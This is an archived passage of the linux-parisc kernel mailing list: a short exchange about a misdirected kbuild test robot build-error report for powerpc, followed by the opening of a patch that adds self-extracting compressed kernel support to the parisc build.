cc899bHHo96Oq3db2kJnFcfxeHr/9vz6o68ffkIkaDZW9pjw0zIgM8K32oTM3HNbX7YzO0Ys
4UTkhYFcTN1jF4jxlGDn22ksb0YLydybRDL1ZM/bA4QIITQhRIqRFiKS+bjnpVZfp2qyu+dD
PvMJ8aCBwIxxL7vbQ/oVubDh+emTn2/7JlTtDuPeHaT6rW/xi5SI4GnfddGRhFqPIHF+gstu
enpq2OIgNgl9VpAwypSkSKtthNmP9IXGESfU6GxbOnUBhA/djhdtDrervuweXlUvsJeFakoa
ovjWmpx0PPdqW9nd6/Pb87f3wUbJia+fdoO/fv63sWtrahxXwu/nV1DztKfqnFkCLMs88CDf
Yk98wxcSeHGxTBZSuxAqhDqz//50S7Yjyd0KVTvFRv1ZlqVWS2r1ZQ3HIuJyUCVmRlPVEnXI
1JvqRrA5XuIlSM6c9CnzpS9avf3YMVEqpUtFmTBu5LEc2grE3BFA1rSMv/qAaBg72TDrATVj
QZGJJPUK0su5yLJW22L/S89tLokn5cPTei/d6mrT1blav2z3a8zsRPJ4mBUNZuGaXh5Uby/v
T3bihRqAv9TKw7Z4PcF0of8++PJY2aFGZ59669sVbb5mK6v80JVtvkr4lGjQBi6+bJnhhjqq
mJC+4QrzZ3AHq4KxN0u4qP0NrVHC1IGcOqRcUv72SXXTx9IfuLXKujneFotVl1fXM60xGCma
rV66Kx5L8RERN0Wobao//lBe0YZfZZ8F3RGBtVugRS4q2VgU+nWiK/LZVZ5JRdpxFNZHo1DR
63PZsf2pR28JhzjY4Ty8gmR42b5u9iDyCdlUERcN4vXHbrv5YQiSPKgKxmICzrv5bZBkNN8G
gprbuR1lp24Yr2UZ2dU0SVX2tpidzjDW1WTAYdTL+dSvLjrkFjOwpiOwgm5Atij+0POqrJqz
LjKChfZF3QqTU3HT8NxKdXagXHT6sbovQD/CZNUJP52S6tBvq8SM3SRpYe5XdyVrUygxnD7g
uxcYabvxNwuGRmSeL/zYuO2swqQOK6BF9Fz9zpNWPGke1WcczWscr8uT1PFodMY/GdUM63Lj
gquUzROqrFfFFqRvMu6EOqQnMpT7uCrmAV5W3Nl0vX1Hhjqq86JJIiYGs4OWKJr096VrFo6n
b9qioY+/kuI3tMYHA5lE9QU7HBj+jaH1uZupPIL+w+OzZYdfS56dImVKwV8xfy9O+sOcP3RL
XXy7vDzlWtEGEdWCoKh/jUTza95Y9Y592ViiJKvhGVpS3I5o7enBGMsvghA3mNcX579T9KTA
IDOwVF5/2bxvr65++/bf2Rd9UA/Qtonok1/eTGaMWm3e1x8/tid/Ul/Y53jU7jGwYGHGjZJl
6PXVpFYhfhJadCWNmTpPEmEDkQZVSEUcWIRVrr/VUl02WWl2uyw4TG3y8xWGl/FxOw+b1OvY
fb76M+nDYeSTWh2NUKcbZkbzikrk85CXVyJw0CKeFjtJMuo6J3gdrfF4kuOp79FUWA8dB/ti
c7zqm1bUMVPTrWMxyZIchpiTJZmjP0qedpOvLpzUS55auV5aotUIc2i8q29ZaeRYE/uwIxqj
UTu0VM85mNaDbLj+8vpFLx6kTgdSx0hyotN+P6cVdSaISahsgK4YoxkLRG+iLdCnXveJhl8x
AYAtEK14skCfaTijBrdAtH7PAn2mCy5pDZ8FohV4Bujb+Sdq+vaZAf7GKIdN0MUn2nTFXN0g
CBZ8XCU7ZinUq5lxxlw2imcCUfsJmcFJa8nMnmEDge+OAcHzzIA43hE8twwIfoAHBD+fBgQ/
amM3HP+Y2fGvmfGfsyiSq47JzTeQaX0XkmVKuiLjkif1CD9MG0YlcIDA6bflEhgNoKoQTXLs
ZXdVkqZHXjcX4VFIFTLmgwMi8dHaiwnsO2DyllFJGt137KOatlokjGsYYuxd7LA3SXJR9fEu
o0GvmG7+2D3s/jnZbT/2m1f97ttLmipEvbKVoew2VO4YBzrxrkGRVDdV7pdwRIEPk+eqw9qq
Q9IwZ6iYo6RtEn1RHpVUfoK6UlFOSWZ4aL8CRvAT0qkAaLNLG9zMTgMm3BySk6btmLrOz6y6
zs+6Okwj+z7fBAD3hd7dFfGootBzuoeIasl5RyuEx/AcUNmKaWmVJp6skp4rQKJXDNEGSaOY
RoUAdV8HST9zd7/do0N6kkcpfLkWhPseU3LhK9DCUy+/IMtX91hs/+5WV5eTMqmGLKfYRFxe
TApFlVFlTdxm3oSAmS+m9Xr+d8OJRZUyvXH4tm5+ryuWNYIHhDOSkt5ngiSs7hl8wZRrPYG+
WjA3w8wukkEfjTmL5UFmJBSGn11eFKWtOjIA8uqL1i35ZdtVxkuCG+14PU8LzwgfD79d3Jan
ePCdShllIHVp5E+F033AMHYQ0CtrUt10dibvw4SLAiMyb40RHdOEamaN2vJC+87Raw4ofiwS
PSY7CAXVQXIVWKx3r+u/T54fHjEvzXBr87bbvO7/krYLP17W70/UraaKnjy5Kh17Q0bCRo/o
FNaKMfTf9aioyYB1cIs4QVxoHdd70000sqoh25e3zd/r/+43L+uTx+f141/vssmPqnyntXpk
Wgyk2ccnPrxlLO2qMGh9xuFUg00GggIFS1FFtJydBx5a1yVlQzFxmMvYjvB4rsXH1zSvip61
dYPxE3Qz2KgSmXryenZ6pvVkjZEiYcedwRk6Yw7loQhkxYKJVd7mmEUHK/CKlDm7S1eTZW6q
UY2+0VVSmCgZ9hHjV1jdWIc+6npRS5RhOEOK9S2I6rUiT++m1ckox90yFAt040RZQWmk0EMf
FQ0yZv60cNQYqlG4Pv05o1DKB0MXl9gC1NDJTFvqQn39soUNWLD+4+PpSc0+syNlzoCa03ar
KhEoo07y41EWcADIucv2QzXAAfTWR0EK7zt0NhODNm29AUa3ViIwnAvF8XJv2XeRTColCG4Y
KI4mQv3+AvaTnDJSoZhwwYqoLohhBjsneM8/uJ4x65SExck8tjJpTL9YNho1+ph1m5gEOtn1
7bGVxEEp45G5TtLt418fb0o6xg+vT+Y1fBE1eN3Sln02iIKevDJRRNzm864R9UJnbTUhRpJc
E4q2uZ6daQnQvaJoYMcjMg1YwpGHSlXKYrtbkbahnld9eUOGOtVmAD4GEqKgdwwGfax+6Br0
NFb9ayzFshiFPM3qSJ6wuvW0YtUwD5Twcwws9uYiDEtrAqtDHFrDjALk5Jf3t82rDJr8n5OX
j/365xr+Z71//Pr1qxH6XFWM+7G2CVdMgIierQhLHHvKHK1kuVQgkALFEo4B9AlWYeXNoUOi
VTAXhutB+qyCFbDZ6Ptw272Fewr9eqQt8JpOlMm4TaS/U74UZg56QfFeU4d+4PeckjFkbh+d
5eSyBr0CizBGxAAGcmSY6OWlEtjsQgz/bjEipXnM7z+cC0vQi7/kGKJ2LTbyLjUJmfgIfcx0
2IqFmFPY3GkokyW/ZVZNyRxIpio+OjzwIEr2yI3gqtEguDTAOMJwDaLwbKbTJ8OLheFN7XCX
7ifSTb+LqSb7FwupbuBhB4GWUozqqR+GLqwqmerzu9pMkeD+RtWJwUN57t9Z4Z/Gt5Xquyv9
BAjDFbW52sO5qfNKlDGNGY4J0dCvRgUqT1Yms3PBFgfPaRYEb2HlYCESdkt5o1+bysd9092s
QqngtVGktwVOMfAGxBuWDfCnwXGolwluUO0v0KqSYm8JQP0AO6mvL5i64kQTtrK6ljuE1hiD
3gFRK5YDEC9h6F2A/sgybBUUkrF76POaqTFhgo3K57s6FxMf+WEHgR6wMQoEaU6SF7nRMUM5
BolpZPYx9QCzio1wYBInUK3qjo4YgjAkhUIRTW/hbV6ouMm0IdBLD32PsWEwINec69EDW3ce
zM84ExXj0aGx4ueR8M0gEEteaKoBDWFvhfvliSW0Eukfr/IY36zf95ZQTxcBYyonXY9lbJya
iyEpISzVG5ZauSA7xL7XVKFj4ZDhPPD73DBYW3BlYOmDWoncHpifFIeroM3ovYv65kaOkUqa
xPAF4hYAbAombC8C1K0BT1f6JJ7etowVpaRWsahjmcvC8a1cNDxUBuLWjF81FYcsHOwjUzz4
RUmbdqkvLB2fHyVVhjmBHCMhbXwcLZDZP0g6nB3dbIDbXFj4FuEdY5UiD+QybgoqKKuWN55T
3JAV9GDVAl2w2bO7VDgu5oGhXcXfxAOjcrL1apFDzXDUTu6lcNWflrClAGnXA/Oiy9uU7kiJ
cL1LZbnsklqtsbo6DWeK3xB5MEFGGzR6TpeY9ahWGju5kaIOmQBSRF2eo0BWC0YQlk18fXlh
VqvShKizInPswIt2OMLCvkLuCFxiA9ZVDNMAgtoJy+qkn9KuQ8rKCNSGv0b1rVUKXVPXYeZJ
hZy+Q52HhnGbFyT9DonpP5ledDyL04Tu4uKnscxbZBhE30oxyleEdup4Xr0+/Xl6ejqDf6fH
0KjvAfj5+Z9mG8rGFtbKy2L9+LHb7P+h1OvslB7soEH6hbV0BZA86sQ6iaT1mZzVMkNfDgyI
QhJl5CG/jXkzbMFo/oNFGG1s66KtmNgCvTTDajD2llq7yPOr2kYeukL41xN91Ggw/mU035LW
w2P2QH/3z9t+e/KIga22u5Pn9d9v693hskCBMTOXKLV8sUbx2bQ8FMH1C1E4hcJe0E/KWD8M
2JTpQ7gYkoVTaAWnBrslUEYCx+k7aTrbkkVZEp+Pt4LWVbh6R02bSPfkgF7he2roB5RY6KmZ
yMWc6MW+nGqNbehNPjjKdan2IWqZR7OzK8uh30TggjXpUiykGlXKv3xlaMN404ZtSDwr/9BL
9/BRxyGibWLY9rsgZHgC8bF/XsP+/fFhv/5xEr4+4sRC/5T/bfbPJ+L9ffu4kaTgYf+gC7mh
8UysvKGb3WQ/FvDf2WlZpHezc8Y9v8fW4Y0ZTcfmM7wsTW5hyJRnm/Q2fNn+MC3qhxd7zq7y
GZPpkcws6UNTaK+znpxWS/4zSmgZwSMr9xthxVlWYrpKxQ/vz3wfZIJS4A9yCajQl5OGHOm5
W6tSdZOxeYKz4UQ8K7MUckb4jM3kAeA091G8xx4+hr7+BNdlwYVD2AS/Ea2HUtw5OGtNgFvD
tOOyWg2CNwtASh1DMAa9B8QZk7f2gDhn3MiHqReLGd8LSMUPnghxIMCrCSYCwm8z5wADgjab
HGTZvJp9c9awLK1XqBmweXs2wj+Mqzy1SEAp58Y6IPLWS5xTU/AGW/1+oVhGnGHgwO4iC9OU
Cdc9YurGyckIuORHMSB7IJqsaxPRE4t74VyaapHWws1gwzrglv+MccdIr8owd7a1YSI2DuRl
YY/EaKyyW7+/WzlWxo6TFm1OiX9P3zb25CsmWMT4tJOBgBwTruEPrz+2Lyf5x8sf651yRJ8k
iRl5GM6NflnllOPk8JGVh0ewvJ3siCRFLhZT7lE0SwpPIZM6vyeY4iVEF+nyjpAfUvGD2qNj
En4E1v1W+FPgirmdtHF4NHAB4+WUlda7Pfrhw5bqXYbmfd88vT7sP3a9FZSlP0VzuVakyf0k
78b/AXYHSC2u/QAA

--8t9RHnE3ZwKMSgU+--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hp-parisc:boot_devel 2/2] arch/powerpc/boot/inflate.c:358:18: error: 'uint32_t' undeclared
Date: Sun, 20 Aug 2017 08:20:20 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <1693319.G71mkjZMyY@daneel.sf-tec.de>
References: <201708200711.P5rCbvmM%fengguang.wu@intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart3411059.sa7WtQPL5J"; micalg="pgp-"; protocol="application/pgp-signature"
X-Trace: blaine.gmane.org 1503210043 4570 195.159.176.226 (20 Aug 2017 06:20:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 20 Aug 2017 06:20:43 +0000 (UTC)
User-Agent: KMail/4.14.10 (Linux/4.12.8-1.g4d7933a-default; KDE/4.14.25; x86_64; ; )
Cc: linux-parisc@vger.kernel.org
To: kbuild test robot <fengguang.wu@intel.com>, kbuild-all@01.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 20 08:20:38 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djJb7-0000ir-K3
	for glpp-linux-parisc@m.gmane.org; Sun, 20 Aug 2017 08:20:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752354AbdHTGUj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 20 Aug 2017 02:20:39 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:41049 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751831AbdHTGUj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 20 Aug 2017 02:20:39 -0400
Original-Received: (qmail 4219 invoked from network); 20 Aug 2017 06:20:37 -0000
Original-Received: from p200300c083e7ba66e6b318fffea08d27.dip0.t-ipconnect.de ([2003:c0:83e7:ba66:e6b3:18ff:fea0:8d27]:33674 HELO daneel.sf-tec.de) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
        for <fengguang.wu@intel.com>; Sun, 20 Aug 2017 08:20:37 +0200
In-Reply-To: <201708200711.P5rCbvmM%fengguang.wu@intel.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27718
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27718>

--nextPart3411059.sa7WtQPL5J
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Sonntag, 20. August 2017, 07:51:13 schrieb kbuild test robot:
> tree:  
> https://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git
> boot_devel head:   2de6ba7d548dff737bdc47173c8a7b6b20d94966
> commit: 2de6ba7d548dff737bdc47173c8a7b6b20d94966 [2/2] Initial support for
> compressed boot config: powerpc-akebono_defconfig (attached as .config)
> compiler: powerpc-linux-gnu-gcc (Debian 6.1.1-9) 6.1.1 20160705
> reproduce:
>         wget
> https://raw.githubusercontent.com/01org/lkp-tests/master/sbin/make.cross -O
> ~/bin/make.cross chmod +x ~/bin/make.cross
>         git checkout 2de6ba7d548dff737bdc47173c8a7b6b20d94966
>         # save the attached .config to linux build tree
>         make.cross ARCH=powerpc

You will not get help for powerpc problems on the parisc list.

Eike
--nextPart3411059.sa7WtQPL5J
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iEYEABECAAYFAlmZKikACgkQXKSJPmm5/E5uRgCfRLDX/A39clv04jrJ50ncLvk2
CIQAoKOF9dG94WYUI8e8O37hamyLTf35
=qNiV
-----END PGP SIGNATURE-----

--nextPart3411059.sa7WtQPL5J--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hp-parisc:boot_devel 2/2] arch/powerpc/boot/inflate.c:358:18:
 error: 'uint32_t' undeclared
Date: Sun, 20 Aug 2017 10:32:33 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <722aa3c0-1448-df1f-d95c-a1bf6844b8c3@gmx.de>
References: <201708200711.P5rCbvmM%fengguang.wu@intel.com>
 <1693319.G71mkjZMyY@daneel.sf-tec.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1503218005 17153 195.159.176.226 (20 Aug 2017 08:33:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 20 Aug 2017 08:33:25 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        kbuild test robot <fengguang.wu@intel.com>, kbuild-all@01.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 20 10:33:21 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djLfZ-0003ix-KM
	for glpp-linux-parisc@m.gmane.org; Sun, 20 Aug 2017 10:33:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752694AbdHTIdT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 20 Aug 2017 04:33:19 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:60137 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752693AbdHTIdS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 20 Aug 2017 04:33:18 -0400
Original-Received: from [192.168.20.60] ([193.159.28.39]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Lskr7-1dYAUX3H33-012DLO; Sun, 20
 Aug 2017 10:32:36 +0200
In-Reply-To: <1693319.G71mkjZMyY@daneel.sf-tec.de>
Content-Language: en-US
X-Provags-ID: V03:K0:UWbxjApdip9ZHxxUhleRTiN4CZNmE6hktvYggh1OOjk1xMFWU9Z
 9uZqzsuVHSzCeobFpLaVJQQ/emk4hukJy0NoTcFaaiv0Gxx88+4Pz55gv913TGGRlY+CKzy
 Ryga1PkM3r9U09sESLA4qNglqZg16xIiyDWrTC2NxHBSQ1byViZR8SZyVQ1D2qHwtWHN+p3
 66BTxnMHG9dN5v7Ju+xsQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:bewmf1K7uvw=:VpFC/+asfiSy0zXmShNGSi
 PWRgmr/uksG70RjJso3b0ZniTdgEa52Bkny+yPA87912YzClJFMriSNR639ctoEUZbKSu6X7s
 H++byou1pdvKBUN9HTslrs7VnWxGMj4WqJej+CWIrC3IyRn2nnQAGOzQCgm4nInok8giOjAGE
 fLLGeR/ngbU7cebyTQObnJoXrTzJmwaEVNJoTq4T/8R/LHlosnw3lhEzvj5/jx/MzANOKvoXL
 UpcZWxQE/YFUAQzarHv6lvDZ4Mlh+u81IpXc2XtzPrvr3KU4YA3tGVAgC/omnf1vefJfMeGoI
 E8JjIENrUgzXnw6Hp6jVIY1S6eDVWZm4jVb7OT5MyMNr6GeNU457kpTdH06D1Q+kbTwlZAhFD
 xsXwVHHw7Zko9rTO/3RJJ9zvbYopN+NkpJrHJPdVYue3vKOs/vdMM9MWk3J6trH1VS8xEQHWr
 KkWQAXA8Xgzo7LXVrQSZoXTeoD36SCOUFD2lhr0Px7Vt7dyHQuXQ1MQh16gPujQ9Hf/hWUmRi
 fJY0m8IGPKqCpUKRDsxXJUWlO5nD/BvbquORz0pdJOJI9/l2JjSELHKiYknkeWVzQcharx+ge
 1Rt1HHwLDzcX1L5mGOulhV+clpOpy3VBKji/fWG9rx7LcLd+k6ElmcsMocSuS/MsP+iqs0OAm
 O6T7okpHnUU1ilWa6vZVAbxxFvhIXJ1FvrEbjFHxl9eOKrn6FKNUr7LJWJ5O+pA6Tk0idIL50
 ObOuTGUoGX7wmbb3NYJ8kCDozBBMy/nQUycYZC8cfJScTf5pwn3Sm+H7BjateVe56rQcZxuV 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27719
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27719>

On 20.08.2017 08:20, Rolf Eike Beer wrote:
> Am Sonntag, 20. August 2017, 07:51:13 schrieb kbuild test robot:
>> tree:  
>> https://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git
>> boot_devel head:   2de6ba7d548dff737bdc47173c8a7b6b20d94966
>> commit: 2de6ba7d548dff737bdc47173c8a7b6b20d94966 [2/2] Initial support for
>> compressed boot config: powerpc-akebono_defconfig (attached as .config)
>> compiler: powerpc-linux-gnu-gcc (Debian 6.1.1-9) 6.1.1 20160705
>> reproduce:
>>         wget
>> https://raw.githubusercontent.com/01org/lkp-tests/master/sbin/make.cross -O
>> ~/bin/make.cross chmod +x ~/bin/make.cross
>>         git checkout 2de6ba7d548dff737bdc47173c8a7b6b20d94966
>>         # save the attached .config to linux build tree
>>         make.cross ARCH=powerpc
> 
> You will not get help for powerpc problems on the parisc list.

Eike, you are talking to a roboter :-)

The kbuild test robot checks regularily various git trees, if the
commits there will generate issues with other trees/architectures.
It picked up my parisc boot-devel tree and reported build errors
on the powerpc architecture.

Please ignore this specific issue here:
arch/powerpc/boot/inflate.c:358:18: error: 'uint32_t' undeclared
I don't need this change and fixed it in my tree.

Fengguang, can you maybe drop the parisc mailing list from 
the receiver list of issues with my trees? It just generate noise
for the people on the mailing list.

Thanks,
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [RFC][PATCH] parisc: Add support for self-extracting kernel
Date: Sun, 20 Aug 2017 10:52:22 +0200
Lines: 938
Approved: news@gmane.org
Message-ID: <20170820085222.GA10546@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503219163 29661 195.159.176.226 (20 Aug 2017 08:52:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 20 Aug 2017 08:52:43 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 20 10:52:38 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djLy8-0006yU-Ac
	for glpp-linux-parisc@m.gmane.org; Sun, 20 Aug 2017 10:52:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751937AbdHTIwe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 20 Aug 2017 04:52:34 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:60278 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751549AbdHTIwc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 20 Aug 2017 04:52:32 -0400
Original-Received: from p100.box ([193.159.28.39]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MGjfl-1dnWqP3oMj-00DXe3; Sun, 20
 Aug 2017 10:52:25 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:KWXYZzJS27ubG6xw15RIPWt4T5f+Wek/WwUxdTeRidZRrbub+NN
 XGwNB0F6gpf3oxurtdk5guAhD4OMEp8rN19VjBr8Do/DjiMhRgQ9vVmCVXsd9Q4NH2OBMbs
 UXaEbrjD5KhA/BoEOu8+DSEuIfm+HBP850SRbIZzCTsDM1DroZWXkp/vIugmHzkZyMAQjuw
 hHefK6FKlq3gDcGosKdVg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:kZUarGcSBCc=:rIkkoC6tHbXv1IiWbtXnyv
 KDw4Nhhwll7J8LXhdJTdtQdDHOGEv+1Mox1sN+30OSYdgqsc4JeScyZ/x8nZitGds/D8VO9hH
 pEM4Vx3upQxJStvIokIXYcxqg7YfreN7/stkKpQl9KJQ/p8UFilt0UO/4Hc+XWzBOpCzDOtEV
 EGPE/sgPDtFv/ouy5WzBhuE1Wi9aF0R78qFehDNkT1y8BxMgCXMd3TDgz5nUGKJiN8Ffov2Ms
 l/VcHUY7Q2893ZWDltkffWd/GgoIsgAYiU9GT65Ua8M3j9KTAc2QXQDmnc2wO84szS4hjzXz9
 6wbgf8RO1xGc40ING5yZ06pb08Fw+P926/ymwXEIUGr+o0JxFOGsLZuZqKlqSCo4QF4Sl3WRt
 1wkZznyBiABz9Ay5hQtQv9becB+pISepQAu9CnJof76lnGtvhmRSxl0iNccR2N6Lb165U1Rre
 4sufrlCbSXi8q+ndGsd8wU1pNyHMOMtuIsb2sDDhWG+dUj/aaQCXo1LlCyRIQU6hCiAIsoEOG
 xefQLBl2rxHYGX3x0MHKcfZehDrvVQIdQB2vsdwuttcEk2wXY3/BylhvWTjERzVuiOb31nOA7
 yzuXYDVzbGZtqeC2Q2GPln7kZ4yxGPJQmu8DLmcfBXtnBCO2LYLqwGQOZN9K0XM7y9NmjzjAr
 +MbgexH0G+wDdrGPcYyc/uPchMyBHUveIHB+4nL84q6Knq77+VVDN5ifDpL4fflc1sxn1G5mW
 k/VHoPCzLY/ilVtHYvTlVIDyxGXzt6dm5APW1lvTOkIvrw3sbqzLeWiA0mPbVU93/ZSYCENU 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27720
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27720>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index dda1f55..3109541 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -17,6 +17,12 @@ config PARISC
 	select BUG
 	select BUILDTIME_EXTABLE_SORT
 	select HAVE_PERF_EVENTS
+	select HAVE_KERNEL_BZIP2
+	select HAVE_KERNEL_GZIP
+	select HAVE_KERNEL_LZ4
+	select HAVE_KERNEL_LZMA
+	select HAVE_KERNEL_LZO
+	select HAVE_KERNEL_XZ
 	select GENERIC_ATOMIC64 if !64BIT
 	select GENERIC_IRQ_PROBE
 	select GENERIC_PCI_IOMAP
diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 75cb451..58fae5d 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -24,15 +24,20 @@ KBUILD_DEFCONFIG := default_defconfig
 NM		= sh $(srctree)/arch/parisc/nm
 CHECKFLAGS	+= -D__hppa__=1
 LIBGCC		= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
+export LIBGCC
 
 ifdef CONFIG_64BIT
 UTS_MACHINE	:= parisc64
 CHECKFLAGS	+= -D__LP64__=1 -m64
 CC_ARCHES	= hppa64
+LD_BFD		:= elf64-hppa-linux
 else # 32-bit
 CC_ARCHES	= hppa hppa2.0 hppa1.1
+LD_BFD		:= elf32-hppa-linux
 endif
 
+export LD_BFD
+
 ifneq ($(SUBARCH),$(UTS_MACHINE))
 	ifeq ($(CROSS_COMPILE),)
 		CC_SUFFIXES = linux linux-gnu unknown-linux-gnu
@@ -88,6 +93,8 @@ libs-y	+= arch/parisc/lib/ $(LIBGCC)
 
 drivers-$(CONFIG_OPROFILE)		+= arch/parisc/oprofile/
 
+boot	:= arch/parisc/boot
+
 PALO := $(shell if (which palo 2>&1); then : ; \
 	elif [ -x /sbin/palo ]; then echo /sbin/palo; \
 	fi)
@@ -116,11 +123,14 @@ INSTALL_TARGETS = zinstall install
 
 PHONY += bzImage $(BOOT_TARGETS) $(INSTALL_TARGETS)
 
-bzImage zImage: vmlinuz
+zImage: vmlinuz
 Image: vmlinux
 
-vmlinuz: vmlinux
-	@gzip -cf -9 $< > $@
+bzImage: vmlinux
+	$(Q)$(MAKE) $(build)=$(boot) $(boot)/$@
+
+vmlinuz: bzImage
+	$(OBJCOPY) $(boot)/bzImage $@
 
 install:
 	$(CONFIG_SHELL) $(src)/arch/parisc/install.sh \
diff --git a/arch/parisc/boot/.gitignore b/arch/parisc/boot/.gitignore
new file mode 100644
index 0000000..017d591
--- /dev/null
+++ b/arch/parisc/boot/.gitignore
@@ -0,0 +1,2 @@
+image
+bzImage
diff --git a/arch/parisc/boot/Makefile b/arch/parisc/boot/Makefile
new file mode 100644
index 0000000..cad68a5
--- /dev/null
+++ b/arch/parisc/boot/Makefile
@@ -0,0 +1,26 @@
+#
+# Makefile for the linux parisc-specific parts of the boot image creator.
+#
+
